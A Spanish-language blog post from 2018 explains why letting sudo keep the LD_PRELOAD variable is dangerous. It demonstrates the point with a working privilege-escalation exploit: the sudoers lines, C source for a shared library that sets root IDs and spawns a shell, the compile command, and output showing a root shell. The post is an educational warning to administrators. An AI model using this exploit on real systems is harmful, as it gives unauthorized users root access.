Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

Peligros de sudo y las shared libraries


Las shared libraries son las librerías que se cargan en runtime mientras se ejecuta un binario, de este modo conseguimos binarios mucho mas pequeños y reutilizar librerías, el path donde buscarlas se define mediante la variable de entorno LD_PRELOAD o mediante el fichero de configuración /etc/ld.so.conf. Si permitimos comandos mediante sudo y permitimos cargar las librerías compartidas que el usuario desee este podrá conseguir acceso como root.

Configuramos sudo para que nuestro usuario pueda ejecutar un ls como root, además le permitimos definir su propia variable de entorno LD_PRELOAD:

visudo
Defaults        env_keep += LD_PRELOAD
kr0m ALL=(ALL) NOPASSWD:/bin/ls

Escribimos la shared library encargada de ejecutar la shell:

cd /tmp
vi shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Compilamos la librería:

cc -fPIC -shared -o shell.so shell.c -D_GNU_SOURCE -nostartfiles

Al ejecutar el comando mediante sudo tenemos el UID 0 temporalmente, como hemos cargado nuestra librería esta se ejecutará presentándonos una shell con permisos de root:

RX4 ✺ /tmp> sudo LD_PRELOAD=/tmp/shell.so /bin/ls
sh-4.4# id
uid=0(root) gid=0(root)
grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video)

Autor: Kr0m -- 19/06/2018 19:06:42